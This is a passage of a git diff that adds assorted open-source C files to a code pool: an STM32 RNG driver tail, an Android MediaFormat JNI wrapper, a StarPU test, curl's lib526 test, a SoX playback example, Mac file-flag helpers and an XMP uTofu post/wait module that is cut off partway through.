+  *                the configuration information for RNG.
+  * @retval HAL state
+  */
+HAL_RNG_StateTypeDef HAL_RNG_GetState(RNG_HandleTypeDef *hrng)
+{
+  return hrng->State;
+}
+
+/**
+  * @}
+  */
+  
+/**
+  * @}
+  */
+
+#endif /* STM32F405xx || STM32F415xx || STM32F407xx || STM32F417xx || STM32F427xx || STM32F437xx || STM32F429xx || STM32F439xx */
+
+#endif /* HAL_RNG_MODULE_ENABLED */
+
+/**
+  * @}
+  */
+
+/**
+  * @}
+  */
+
+/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/
diff --git a/pool/shard001/C/0025757_sdl_codec_android_mediaformat_java.c b/pool/shard001/C/0025757_sdl_codec_android_mediaformat_java.c
new file mode 100644
index 0000000000000000000000000000000000000000..d4073b17308eda6d4e69694c1fe437bbb0147643
--- /dev/null
+++ b/pool/shard001/C/0025757_sdl_codec_android_mediaformat_java.c
@@ -0,0 +1,204 @@
+/*
+ * This file is part of AirStashPlayer.
+ * Copyright (c) 2016 Wearable Inc.
+ *
+ * AirStashPlayer is based on ijkPlayer:
+ * Copyright (c) 2013-2014 Zhang Rui <bbcallen@gmail.com>
+ *
+ * Portions of ijkPlayer are based on kxmovie:
+ * Copyright (c) 2012 Konstantin Boukreev. All rights reserved.
+ *
+ * AirStashPlayer is free software: you can redistribute it and/or
+ * modify it under the terms of version 3 of the GNU Lesser General
+ * Public License as published by the Free Software Foundation.
+ *
+ * AirStashPlayer is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with AirStashPlayer.  If not, see
+ * <http://www.gnu.org/licenses/>.
+ */
+
+#include "sdl_codec_android_mediaformat_java.h"
+
+#include "sdl/android/AirStash/c/android/media/MediaFormat.h"
+#include "sdl/android/AirStash/c/java/nio/ByteBuffer.h"
+#include "sdl_android_jni.h"
+#include "sdl_codec_android_mediaformat_internal.h"
+#include "sdl_inc_internal_android.h"
+
+typedef struct SDL_AMediaFormat_Opaque {
+    jobject android_media_format;
+
+    jobject android_byte_buffer;
+} SDL_AMediaFormat_Opaque;
+
+jobject SDL_AMediaFormatJava_getObject(JNIEnv *env, const SDL_AMediaFormat *thiz)
+{
+    if (!thiz || !thiz->opaque)
+        return NULL;
+
+    SDL_AMediaFormat_Opaque *opaque = (SDL_AMediaFormat_Opaque *)thiz->opaque;
+    return opaque->android_media_format;
+}
+
+static jobject getAndroidMediaFormat(JNIEnv *env, const SDL_AMediaFormat* thiz) {
+    if (!thiz)
+        return NULL;
+
+    SDL_AMediaFormat_Opaque *opaque = (SDL_AMediaFormat_Opaque *)thiz->opaque;
+    if (!opaque)
+        return NULL;
+
+    return opaque->android_media_format;
+}
+
+static sdl_amedia_status_t SDL_AMediaFormatJava_delete(SDL_AMediaFormat* aformat)
+{
+    if (!aformat)
+        return SDL_AMEDIA_OK;
+
+    JNIEnv *env = NULL;
+    if (JNI_OK != SDL_JNI_SetupThreadEnv(&env)) {
+        ALOGE("%s: SetupThreadEnv failed", __func__);
+        return SDL_AMEDIA_ERROR_UNKNOWN;
+    }
+
+    SDL_AMediaFormat_Opaque *opaque = (SDL_AMediaFormat_Opaque *)aformat->opaque;
+    if (opaque) {
+        SDL_JNI_DeleteGlobalRefP(env, &opaque->android_byte_buffer);
+        SDL_JNI_DeleteGlobalRefP(env, &opaque->android_media_format);
+    }
+
+    SDL_AMediaFormat_FreeInternal(aformat);
+    return SDL_AMEDIA_OK;
+}
+
+static bool SDL_AMediaFormatJava_getInt32(SDL_AMediaFormat* aformat, const char* name, int32_t *out)
+{
+    JNIEnv *env = NULL;
+    if (JNI_OK != SDL_JNI_SetupThreadEnv(&env)) {
+        ALOGE("%s: SDL_JNI_SetupThreadEnv: failed", __func__);
+        return false;
+    }
+
+    jobject android_media_format = getAndroidMediaFormat(env, aformat);
+    if (!android_media_format) {
+        ALOGE("%s: getAndroidMediaFormat: failed", __func__);
+        return false;
+    }
+
+    jint ret = AirStashC_MediaFormat__getInteger__withCString(env, android_media_format, name);
+    if (AirStash_ExceptionCheck__catchAll(env)) {
+        ALOGE("%s: CallIntMethod: failed", __func__);
+        return false;
+    }
+
+    if (out)
+        *out = ret;
+    return true;
+}
+
+static void SDL_AMediaFormatJava_setInt32(SDL_AMediaFormat* aformat, const char* name, int32_t value)
+{
+    JNIEnv *env = NULL;
+    if (JNI_OK != SDL_JNI_SetupThreadEnv(&env)) {
+        ALOGE("%s: SDL_JNI_SetupThreadEnv: failed", __func__);
+        return;
+    }
+
+    jobject android_media_format = getAndroidMediaFormat(env, aformat);
+    if (!android_media_format) {
+        ALOGE("%s: getAndroidMediaFormat: failed", __func__);
+        return;
+    }
+
+    AirStashC_MediaFormat__setInteger__withCString(env, android_media_format, name, value);
+    if (AirStash_ExceptionCheck__catchAll(env)) {
+        ALOGE("%s: CallVoidMethod: failed", __func__);
+        return;
+    }
+}
+
+static void SDL_AMediaFormatJava_setBuffer(SDL_AMediaFormat* aformat, const char* name, void* data, size_t size)
+{
+    int    ret  = -1;
+    JNIEnv *env = NULL;
+    if (JNI_OK != SDL_JNI_SetupThreadEnv(&env)) {
+        ALOGE("%s: SDL_JNI_SetupThreadEnv: failed", __func__);
+        return;
+    }
+
+    SDL_AMediaFormat_Opaque *opaque = (SDL_AMediaFormat_Opaque *)aformat->opaque;
+    jobject android_media_format = opaque->android_media_format;
+    if (!opaque->android_byte_buffer) {
+        opaque->android_byte_buffer = AirStashC_ByteBuffer__allocateDirect__asGlobalRef__catchAll(env, size);
+        if (!opaque->android_byte_buffer) {
+            AIRSTASH_FUNC_FAIL_TRACE();
+            return;
+        }
+    }
+
+    ret = AirStashC_ByteBuffer__assignData__catchAll(env, opaque->android_byte_buffer, data, size);
+    if (ret < 0) {
+        AIRSTASH_FUNC_FAIL_TRACE();
+        return;
+    }
+
+    AirStashC_MediaFormat__setByteBuffer__withCString(env, android_media_format, name, opaque->android_byte_buffer);
+    if (AirStash_ExceptionCheck__catchAll(env)) {
+        ALOGE("%s: call jmid_setByteBuffer: failed", __func__);
+        return;
+    }
+}
+
+static void setup_aformat(SDL_AMediaFormat *aformat, jobject android_media_format) {
+    SDL_AMediaFormat_Opaque *opaque = aformat->opaque;
+    opaque->android_media_format = android_media_format;
+
+    aformat->func_delete    = SDL_AMediaFormatJava_delete;
+    aformat->func_getInt32  = SDL_AMediaFormatJava_getInt32;
+    aformat->func_setInt32  = SDL_AMediaFormatJava_setInt32;
+    aformat->func_setBuffer = SDL_AMediaFormatJava_setBuffer;
+}
+
+SDL_AMediaFormat *SDL_AMediaFormatJava_init(JNIEnv *env, jobject android_format)
+{
+    SDLTRACE("%s", __func__);
+    jobject global_android_media_format = (*env)->NewGlobalRef(env, android_format);
+    if (AirStash_ExceptionCheck__catchAll(env) || !global_android_media_format) {
+        return NULL;
+    }
+
+    SDL_AMediaFormat *aformat = SDL_AMediaFormat_CreateInternal(sizeof(SDL_AMediaFormat_Opaque));
+    if (!aformat) {
+        SDL_JNI_DeleteGlobalRefP(env, &global_android_media_format);
+        return NULL;
+    }
+
+    setup_aformat(aformat, global_android_media_format);
+    return aformat;
+}
+
+SDL_AMediaFormat *SDL_AMediaFormatJava_createVideoFormat(JNIEnv *env, const char *mime, int width, int height)
+{
+    SDLTRACE("%s", __func__);
+
+    jobject android_media_format = AirStashC_MediaFormat__createVideoFormat__withCString__asGlobalRef__catchAll(env, mime, width, height);
+    if (AirStash_ExceptionCheck__catchAll(env) || !android_media_format) {
+        return NULL;
+    }
+
+    SDL_AMediaFormat *aformat = SDL_AMediaFormat_CreateInternal(sizeof(SDL_AMediaFormat_Opaque));
+    if (!aformat) {
+        SDL_JNI_DeleteGlobalRefP(env, &android_media_format);
+        return NULL;
+    }
+
+    setup_aformat(aformat, android_media_format);
+    SDL_AMediaFormat_setInt32(aformat, AMEDIAFORMAT_KEY_MAX_INPUT_SIZE, 0);
+    return aformat;
+}
diff --git a/pool/shard001/C/0025758_sched_ctx_without_sched_policy_awake.c b/pool/shard001/C/0025758_sched_ctx_without_sched_policy_awake.c
new file mode 100644
index 0000000000000000000000000000000000000000..81ab725793b818c3fadc8151a438a6056530a666
--- /dev/null
+++ b/pool/shard001/C/0025758_sched_ctx_without_sched_policy_awake.c
@@ -0,0 +1,169 @@
+/* StarPU --- Runtime system for heterogeneous multicore architectures.
+ *
+ * Copyright (C) 2010-2014  Université de Bordeaux
+ * Copyright (C) 2010-2014  CNRS
+ *
+ * StarPU is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU Lesser General Public License as published by
+ * the Free Software Foundation; either version 2.1 of the License, or (at
+ * your option) any later version.
+ *
+ * StarPU is distributed in the hope that it will be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ *
+ * See the GNU Lesser General Public License in COPYING.LGPL for more details.
+ */
+
+#include <starpu.h>
+#include <omp.h>
+
+#ifdef STARPU_QUICK_CHECK
+#define NTASKS 64
+#else
+#define NTASKS 100
+#endif
+
+
+starpu_pthread_mutex_t mut;
+
+int tasks_executed[2][STARPU_NMAXWORKERS];
+int parallel_code(int sched_ctx)
+{
+	int i;
+	int t = 0;
+	int workerid = starpu_worker_get_id();
+	for(i = 0; i < NTASKS; i++)
+		t++;
+	tasks_executed[sched_ctx-1][workerid] = t;
+//	printf("executed %d tasks on worker %d of sched_ctx %d \n", t, workerid, sched_ctx);
+
+	return t;
+}
+
+static void sched_ctx_func(void *descr[] STARPU_ATTRIBUTE_UNUSED, void *arg)
+{
+	unsigned sched_ctx = (uintptr_t)arg;
+	parallel_code(sched_ctx);
+}
+
+
+static struct starpu_codelet sched_ctx_codelet =
+{
+	.cpu_funcs = {sched_ctx_func},
+	.model = NULL,
+	.nbuffers = 0,
+	.name = "sched_ctx"
+};
+
+
+int main(int argc, char **argv)
+{
+	int i;
+	for(i = 0; i < STARPU_NMAXWORKERS; i++)
+	{
+		tasks_executed[0][i] = 0;
+		tasks_executed[1][i] = 0;
+	}
+	int ntasks = NTASKS;
+	int ret, j, k;
+	unsigned ncpus = 0;
+
+	ret = starpu_init(NULL);
+	if (ret == -ENODEV)
+		return 77;
+	STARPU_CHECK_RETURN_VALUE(ret, "starpu_init");
+
+	starpu_pthread_mutex_init(&mut, NULL);
+	int nprocs1 = 1;
+	int nprocs2 = 1;
+	int *procs1, *procs2;
+
+#ifdef STARPU_USE_CPU
+	ncpus = starpu_cpu_worker_get_count();
+	procs1 = (int*)malloc(ncpus*sizeof(int));
+	starpu_worker_get_ids_by_type(STARPU_CPU_WORKER, procs1, ncpus);
+
+	if(ncpus > 1)
+	{
+		nprocs1 = ncpus/2;
+		nprocs2 =  ncpus-nprocs1;
+		k = 0;
+		procs2 = (int*)malloc(nprocs2*sizeof(int));
+		for(j = nprocs1; j < nprocs1+nprocs2; j++)
+			procs2[k++] = procs1[j];
+	}
+	else
+	{
+		procs2 = (int*)malloc(nprocs2*sizeof(int));
+		procs2[0] = procs1[0];
+
+	}
+#endif
+
+	if (ncpus == 0) goto enodev;
+
+	/*create contexts however you want*/
+	unsigned sched_ctx1 = starpu_sched_ctx_create(procs1, nprocs1, "ctx1", STARPU_SCHED_CTX_AWAKE_WORKERS, 0);
+	unsigned sched_ctx2 = starpu_sched_ctx_create(procs2, nprocs2, "ctx2", STARPU_SCHED_CTX_AWAKE_WORKERS, 0);
+
+
+	for (i = 0; i < ntasks; i++)
+	{
+		struct starpu_task *task = starpu_task_create();
+
+		task->cl = &sched_ctx_codelet;
+		task->cl_arg = (void*)(uintptr_t) sched_ctx1;
+
+		/*submit tasks to context*/
+		ret = starpu_task_submit_to_ctx(task,sched_ctx1);
+
+		STARPU_CHECK_RETURN_VALUE(ret, "starpu_task_submit");
+	}
+
+	for (i = 0; i < ntasks; i++)
+	{
+		struct starpu_task *task = starpu_task_create();
+
+		task->cl = &sched_ctx_codelet;
+		task->cl_arg = (void*)(uintptr_t) sched_ctx2;
+
+		/*submit tasks to context*/
+		ret = starpu_task_submit_to_ctx(task,sched_ctx2);
+
+		STARPU_CHECK_RETURN_VALUE(ret, "starpu_task_submit");
+	}
+
+
+	/* tell starpu when you finished submitting tasks to this context
+	   in order to allow moving resources from this context to the inheritor one
+	   when its corresponding tasks finished executing */
+
+
+
+	/* wait for all tasks at the end*/
+	starpu_task_wait_for_all();
+
+	starpu_sched_ctx_delete(sched_ctx1);
+	starpu_sched_ctx_delete(sched_ctx2);
+
+	int tasks_per_ctx[2];
+	tasks_per_ctx[0] = 0;
+	tasks_per_ctx[1] = 0;
+	for(i = 0; i < STARPU_NMAXWORKERS; i++)
+	{
+		tasks_per_ctx[0] += tasks_executed[0][i];
+		tasks_per_ctx[1] += tasks_executed[1][i];
+	}
+
+	printf("ctx%d: tasks starpu executed %d out of %d\n", sched_ctx1, tasks_per_ctx[0]/nprocs1, NTASKS);
+	printf("ctx%d: tasks starpu executed %d out of %d\n", sched_ctx2, tasks_per_ctx[1]/nprocs2, NTASKS);
+
+enodev:
+#ifdef STARPU_USE_CPU
+	free(procs1);
+	free(procs2);
+#endif
+	starpu_shutdown();
+	return ncpus == 0 ? 77 : 0;
+}
diff --git a/pool/shard001/C/0025766_lib526.c b/pool/shard001/C/0025766_lib526.c
new file mode 100644
index 0000000000000000000000000000000000000000..9db04dba701d69a1a1098bf2ba9a106390ab48e9
--- /dev/null
+++ b/pool/shard001/C/0025766_lib526.c
@@ -0,0 +1,184 @@
+/***************************************************************************
+ *                                  _   _ ____  _
+ *  Project                     ___| | | |  _ \| |
+ *                             / __| | | | |_) | |
+ *                            | (__| |_| |  _ <| |___
+ *                             \___|\___/|_| \_\_____|
+ *
+ * Copyright (C) 1998 - 2011, Daniel Stenberg, <daniel@haxx.se>, et al.
+ *
+ * This software is licensed as described in the file COPYING, which
+ * you should have received as part of this distribution. The terms
+ * are also available at http://curl.haxx.se/docs/copyright.html.
+ *
+ * You may opt to use, copy, modify, merge, publish, distribute and/or sell
+ * copies of the Software, and permit persons to whom the Software is
+ * furnished to do so, under the terms of the COPYING file.
+ *
+ * This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY
+ * KIND, either express or implied.
+ *
+ ***************************************************************************/
+/*
+ * This code sets up multiple easy handles that transfer a single file from
+ * the same URL, in a serial manner after each other. Due to the connection
+ * sharing within the multi handle all transfers are performed on the same
+ * persistent connection.
+ *
+ * This source code is used for lib526, lib527 and lib532 with only #ifdefs
+ * controlling the small differences.
+ *
+ * - lib526 closes all easy handles after
+ *   they all have transfered the file over the single connection
+ * - lib527 closes each easy handle after each single transfer.
+ * - lib532 uses only a single easy handle that is removed, reset and then
+ *   re-added for each transfer
+ *
+ * Test case 526, 527 and 532 use FTP, while test 528 uses the lib526 tool but
+ * with HTTP.
+ */
+
+#include "test.h"
+
+#include <fcntl.h>
+
+#include "testutil.h"
+#include "warnless.h"
+#include "memdebug.h"
+
+#define TEST_HANG_TIMEOUT 60 * 1000
+
+#define NUM_HANDLES 4
+
+int test(char *URL)
+{
+  int res = 0;
+  CURL *curl[NUM_HANDLES];
+  int running;
+  CURLM *m = NULL;
+  int current = 0;
+  int i;
+
+  for(i=0; i < NUM_HANDLES; i++)
+    curl[i] = NULL;
+
+  start_test_timing();
+
+  global_init(CURL_GLOBAL_ALL);
+
+  /* get NUM_HANDLES easy handles */
+  for(i=0; i < NUM_HANDLES; i++) {
+    easy_init(curl[i]);
+    /* specify target */
+    easy_setopt(curl[i], CURLOPT_URL, URL);
+    /* go verbose */
+    easy_setopt(curl[i], CURLOPT_VERBOSE, 1L);
+  }
+
+  multi_init(m);
+
+  multi_add_handle(m, curl[current]);
+
+  fprintf(stderr, "Start at URL 0\n");
+
+  for(;;) {
+    struct timeval interval;
+    fd_set rd, wr, exc;
+    int maxfd = -99;
+
+    interval.tv_sec = 1;
+    interval.tv_usec = 0;
+
+    multi_perform(m, &running);
+
+    abort_on_test_timeout();
+
+    if(!running) {
+#ifdef LIB527
+      /* NOTE: this code does not remove the handle from the multi handle
+         here, which would be the nice, sane and documented way of working.
+         This however tests that the API survives this abuse gracefully. */
+      curl_easy_cleanup(curl[current]);
+      curl[current] = NULL;
+#endif
+      if(++current < NUM_HANDLES) {
+        fprintf(stderr, "Advancing to URL %d\n", current);
+#ifdef LIB532
+        /* first remove the only handle we use */
+        curl_multi_remove_handle(m, curl[0]);
+
+        /* make us re-use the same handle all the time, and try resetting
+           the handle first too */
+        curl_easy_reset(curl[0]);
+        easy_setopt(curl[0], CURLOPT_URL, URL);
+        /* go verbose */
+        easy_setopt(curl[0], CURLOPT_VERBOSE, 1L);
+
+        /* re-add it */
+        multi_add_handle(m, curl[0]);
+#else
+        multi_add_handle(m, curl[current]);
+#endif
+      }
+      else {
+        break; /* done */
+      }
+    }
+
+    FD_ZERO(&rd);
+    FD_ZERO(&wr);
+    FD_ZERO(&exc);
+
+    multi_fdset(m, &rd, &wr, &exc, &maxfd);
+
+    /* At this point, maxfd is guaranteed to be greater or equal than -1. */
+
+    select_test(maxfd+1, &rd, &wr, &exc, &interval);
+
+    abort_on_test_timeout();
+  }
+
+test_cleanup:
+
+#if defined(LIB526)
+
+  /* test 526 and 528 */
+  /* proper cleanup sequence - type PB */
+
+  for(i=0; i < NUM_HANDLES; i++) {
+    curl_multi_remove_handle(m, curl[i]);
+    curl_easy_cleanup(curl[i]);
+  }
+  curl_multi_cleanup(m);
+  curl_global_cleanup();
+
+#elif defined(LIB527)
+
+  /* test 527 */
+
+  /* Upon non-failure test flow the easy's have already been cleanup'ed. In
+     case there is a failure we arrive here with easy's that have not been
+     cleanup'ed yet, in this case we have to cleanup them or otherwise these
+     will be leaked, let's use undocumented cleanup sequence - type UB */
+
+  if(res)
+    for(i=0; i < NUM_HANDLES; i++)
+      curl_easy_cleanup(curl[i]);
+
+  curl_multi_cleanup(m);
+  curl_global_cleanup();
+
+#elif defined(LIB532)
+
+  /* test 532 */
+  /* undocumented cleanup sequence - type UB */
+
+  for(i=0; i < NUM_HANDLES; i++)
+    curl_easy_cleanup(curl[i]);
+  curl_multi_cleanup(m);
+  curl_global_cleanup();
+
+#endif
+
+  return res;
+}
diff --git a/pool/shard001/C/0025767_example3.c b/pool/shard001/C/0025767_example3.c
new file mode 100644
index 0000000000000000000000000000000000000000..e49d12689832a422c0ad09ac2ddea96464d955e4
--- /dev/null
+++ b/pool/shard001/C/0025767_example3.c
@@ -0,0 +1,113 @@
+/* Simple example of using SoX libraries
+ *
+ * Copyright (c) 2007-9 robs@users.sourceforge.net
+ *
+ * This program is free software; you can redistribute it and/or modify it
+ * under the terms of the GNU General Public License as published by the
+ * Free Software Foundation; either version 2 of the License, or (at your
+ * option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General
+ * Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License along
+ * with this program; if not, write to the Free Software Foundation, Inc.,
+ * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
+ */
+
+#ifdef NDEBUG /* N.B. assert used with active statements so enable always. */
+#undef NDEBUG /* Must undef above assert.h or other that might include it. */
+#endif
+
+#include "sox.h"
+#include "util.h"
+#include <stdio.h>
+#include <assert.h>
+
+/*
+ * Example of a custom output message handler.
+ */
+static void output_message(unsigned level, const char *filename, const char *fmt, va_list ap)
+{
+  char const * const str[] = {"FAIL", "WARN", "INFO", "DBUG"};
+  if (sox_globals.verbosity >= level) {
+    char base_name[128];
+    sox_basename(base_name, sizeof(base_name), filename);
+    fprintf(stderr, "%s %s: ", str[min(level - 1, 3)], base_name);
+    vfprintf(stderr, fmt, ap);
+    fprintf(stderr, "\n");
+  }
+}
+
+/*
+ * On an alsa capable system, plays an audio file starting 10 seconds in.
+ * Copes with sample-rate and channel change if necessary since its
+ * common for audio drivers to support a subset of rates and channel
+ * counts.
+ * E.g. example3 song2.ogg
+ *
+ * Can easily be changed to work with other audio device drivers supported
+ * by libSoX; e.g. "oss", "ao", "coreaudio", etc.
+ * See the soxformat(7) manual page.
+ */
+int main(int argc, char * argv[])
+{
+  static sox_format_t * in, * out; /* input and output files */
+  sox_effects_chain_t * chain;
+  sox_effect_t * e;
+  sox_signalinfo_t interm_signal;
+  char * args[10];
+
+  assert(argc == 2);
+  sox_globals.output_message_handler = output_message;
+  sox_globals.verbosity = 1;
+
+  assert(sox_init() == SOX_SUCCESS);
+  assert((in = sox_open_read(argv[1], NULL, NULL, NULL)));
+  /* Change "alsa" in this line to use an alternative audio device driver: */
+  assert((out= sox_open_write("default", &in->signal, NULL, "alsa", NULL, NULL)));
+
+  chain = sox_create_effects_chain(&in->encoding, &out->encoding);
+
+  interm_signal = in->signal; /* NB: deep copy */
+
+  e = sox_create_effect(sox_find_effect("input"));
+  args[0] = (char *)in, assert(sox_effect_options(e, 1, args) == SOX_SUCCESS);
+  assert(sox_add_effect(chain, e, &interm_signal, &in->signal) == SOX_SUCCESS);
+  free(e);
+
+  e = sox_create_effect(sox_find_effect("trim"));
+  args[0] = "10", assert(sox_effect_options(e, 1, args) == SOX_SUCCESS);
+  assert(sox_add_effect(chain, e, &interm_signal, &in->signal) == SOX_SUCCESS);
+  free(e);
+
+  if (in->signal.rate != out->signal.rate) {
+    e = sox_create_effect(sox_find_effect("rate"));
+    assert(sox_effect_options(e, 0, NULL) == SOX_SUCCESS);
+    assert(sox_add_effect(chain, e, &interm_signal, &out->signal) == SOX_SUCCESS);
+    free(e);
+  }
+
+  if (in->signal.channels != out->signal.channels) {
+    e = sox_create_effect(sox_find_effect("channels"));
+    assert(sox_effect_options(e, 0, NULL) == SOX_SUCCESS);
+    assert(sox_add_effect(chain, e, &interm_signal, &out->signal) == SOX_SUCCESS);
+    free(e);
+  }
+
+  e = sox_create_effect(sox_find_effect("output"));
+  args[0] = (char *)out, assert(sox_effect_options(e, 1, args) == SOX_SUCCESS);
+  assert(sox_add_effect(chain, e, &interm_signal, &out->signal) == SOX_SUCCESS);
+  free(e);
+
+  sox_flow_effects(chain, NULL, NULL);
+
+  sox_delete_effects_chain(chain);
+  sox_close(out);
+  sox_close(in);
+  sox_quit();
+
+  return 0;
+}
diff --git a/pool/shard001/C/0025769_appletfileflags.c b/pool/shard001/C/0025769_appletfileflags.c
new file mode 100644
index 0000000000000000000000000000000000000000..45fda86f7d48dadb786f384ff810ebfcfaa51ada
--- /dev/null
+++ b/pool/shard001/C/0025769_appletfileflags.c
@@ -0,0 +1,91 @@
+
+/*	$Id: appletfileflags.c 355 2005-01-11 22:48:55Z andreradke $    */
+
+/*© copyright 1991-96 UserLand Software, Inc. All Rights Reserved.*/
+
+
+#include "applet.h"
+#include "appletbits.h"
+#include "appletfilesinternal.h"
+#include "appletfileflags.h"
+
+
+
+
+boolean filesetlocked (ptrfilespec pfs, boolean fllock) {
+	
+	OSErr ec;
+	
+	if (fllock) 
+		ec = FSpSetFLock (pfs);
+	else
+		ec = FSpRstFLock (pfs);
+		
+	return (!fileerror (pfs, ec));
+	} /*filesetlocked*/
+	
+	
+boolean filesetfinderflag (ptrfilespec pfs, short flagnum, boolean flag) {
+
+	OSErr ec;
+	FInfo info;
+
+	ec = FSpGetFInfo (pfs, &info);
+	
+	if (fileerror (pfs, ec))
+		return (false);
+	
+	if (flag)
+		info.fdFlags = setbit (info.fdFlags, flagnum);
+	else
+		info.fdFlags = clearbit (info.fdFlags, flagnum);
+	
+	ec = FSpSetFInfo (pfs, &info);	
+	
+	return (!fileerror (pfs, ec));
+	} /*filesetfinderflag*/
+	
+
+boolean filesetsharedbit (ptrfilespec pfs, boolean flsharedbit) {
+	
+	return (filesetfinderflag (pfs, 6, flsharedbit));
+	} /*filesetsharedbit*/
+		
+
+boolean filesetcustomiconbit (ptrfilespec pfs, boolean flcustomiconbit) {
+	
+	return (filesetfinderflag (pfs, 10, flcustomiconbit));
+	} /*filesetcustomiconbit*/
+		
+
+boolean filesetstationery (ptrfilespec pfs, boolean flstationery) {
+	
+	return (filesetfinderflag (pfs, 11, flstationery));
+	} /*filesetstationery*/
+		
+
+boolean filesetnamelocked (ptrfilespec pfs, boolean flnamelocked) {
+	
+	return (filesetfinderflag (pfs, 12, flnamelocked));
+	} /*filesetnamelocked*/
+		
+
+boolean filesetbundlebit (ptrfilespec pfs, boolean flbundlebit) {
+	
+	return (filesetfinderflag (pfs, 13, flbundlebit));
+	} /*filesetbundlebit*/
+	
+
+boolean filesetinvisible (ptrfilespec pfs, boolean flinvisible) {
+	
+	return (filesetfinderflag (pfs, 14, flinvisible));
+	} /*filesetinvisible*/
+	
+
+boolean filesetaliasbit (ptrfilespec pfs, boolean flaliasbit) {
+	
+	return (filesetfinderflag (pfs, 15, flaliasbit));
+	} /*filesetaliasbit*/
+	
+	
+
diff --git a/pool/shard001/C/0025775_xmp_post_wait_utofu.c b/pool/shard001/C/0025775_xmp_post_wait_utofu.c
new file mode 100644
index 0000000000000000000000000000000000000000..bd411ff8bba3c538a1debc51796a4eb43a3c62ea
--- /dev/null
+++ b/pool/shard001/C/0025775_xmp_post_wait_utofu.c
@@ -0,0 +1,180 @@
+// Post/wait functions using uTofu
+
+#include "xmp_internal.h"
+#include <stdlib.h>
+
+typedef struct _XMP_postreq_info{
+  int tag;
+  utofu_vcq_id_t vcqid;
+} _XMP_postreq_info_t;
+
+typedef struct _XMP_postreq{
+  _XMP_postreq_info_t *table;   /**< Table for post requests */
+  int                 num;      /**< How many post requests are in table */
+  int                 max_size; /**< Max size of table */
+} _XMP_postreq_t;
+
+static _XMP_postreq_t _postreq;
+static utofu_stadd_t _lcl_stadd;
+static utofu_stadd_t *_rmt_stadds;
+static int _num_of_puts = 0;
+
+void _xmp_utofu_post_wait_initialize(void)
+{
+  _postreq.num      = 0;
+  _postreq.max_size = _XMP_POSTREQ_TABLE_INITIAL_SIZE;
+  _postreq.table    = malloc(sizeof(_XMP_postreq_info_t) * _postreq.max_size);
+
+  double *token     = _XMP_alloc(sizeof(double));
+  utofu_reg_mem(_xmp_utofu_vcq_hdl, token, sizeof(double), 0, &_lcl_stadd);
+  _rmt_stadds       = _XMP_alloc(sizeof(utofu_stadd_t) * _XMP_world_size);
+  MPI_Allgather(&_lcl_stadd, 1, MPI_UINT64_T, _rmt_stadds, 1, MPI_UINT64_T, MPI_COMM_WORLD);
+}
+
+void _xmp_utofu_add_postreq(const utofu_vcq_id_t vcqid, const int tag)
+{
+  if( _postreq.num == _postreq.max_size ) {
+    _postreq.max_size *= _XMP_POSTREQ_TABLE_INCREMENT_RATIO;
+    size_t next_size = sizeof(_XMP_postreq_info_t) * _postreq.max_size;
+    _XMP_postreq_info_t *tmp;
+    if((tmp = realloc(_postreq.table, next_size)) == NULL) {
+      free(_postreq.table);
+      _XMP_fatal("add_postreq : cannot allocate memory : _postreq.table");
+    }
+    else{
+      _postreq.table = tmp;
+    }
+  }
+
+  _postreq.table[_postreq.num].vcqid = vcqid;
+  _postreq.table[_postreq.num].tag   = tag;
+  _postreq.num++;
+}
+
+void _xmp_utofu_post(const int node_num, const int tag)
+{
+  uint64_t taglimit = _xmp_utofu_edata_flag_sync_images;
+  if( tag < 0 || tag >= taglimit ) {
+    fprintf(stderr, "_xmp_utofu_post : tag is %d : tag must be in the range 0 <= tag < %lu\n", tag, taglimit);
+    _XMP_fatal_nomsg();
+  }
+
+  _XMP_utofu_sync_memory();
+
+  if(node_num == _XMP_world_rank){
+    _xmp_utofu_add_postreq( _xmp_utofu_vcq_ids_org[node_num], tag );
+  }
+  else{
+    int ret;
+    utofu_vcq_id_t rmt_vcq_id = _xmp_utofu_vcq_ids[node_num];
+
+    int ident_val = _num_of_puts;
+    uint64_t edata = tag;
+    unsigned long int post_flags = UTOFU_ONESIDED_FLAG_TCQ_NOTICE | UTOFU_ONESIDED_FLAG_REMOTE_MRQ_NOTICE | UTOFU_ONESIDED_FLAG_STRONG_ORDER;
+    uintptr_t cbvalue = ident_val;
+    _num_of_puts++;
+    utofu_put(_xmp_utofu_vcq_hdl, rmt_vcq_id, _lcl_stadd, _rmt_stadds[node_num],
+              sizeof(double), edata, post_flags, (void *)cbvalue);
+
+    void *cbdata;
+    do {
+      ret = utofu_poll_tcq(_xmp_utofu_vcq_hdl, 0, &cbdata);
+    } while (ret == UTOFU_ERR_NOT_FOUND);
+    if( ret != UTOFU_SUCCESS ) {
+      _XMP_fatal("_xmp_utofu_post : utofu_put, utofu_poll_tcq not success");
+    }
+  }
+}
+
+void _xmp_utofu_wait_noargs(void)
+{
+  _XMP_utofu_sync_memory();
+
+  while(1) {
+    if(_postreq.num > 0) {
+      _postreq.num--;
+      break;
+    }
+    int ret;
+    struct utofu_mrq_notice notice;
+    ret = utofu_poll_mrq(_xmp_utofu_vcq_hdl, 0, &notice);
+    if( ret == UTOFU_SUCCESS ) {
+      _XMP_utofu_check_mrq_notice( &notice );
+    }
+    else if(ret != UTOFU_ERR_NOT_FOUND) {
+      _XMP_utofu_error_check( ret );
+    }
+  }
+}
+
+static void shift_postreq(const int index)
+{
+  if(index != _postreq.num-1){  // Not last request
+    for(int i=index+1;i<_postreq.num;i++){
+      _postreq.table[i-1] = _postreq.table[i];
+    }
+  }
+  _postreq.num--;
+}
+
+static bool remove_postreq_node(const utofu_vcq_id_t vcqid)
+{
+  for(int i=_postreq.num-1;i>=0;i--){
+    if(vcqid == _postreq.table[i].vcqid){
+      shift_postreq(i);
+      return _XMP_N_INT_TRUE;
+    }
+  }
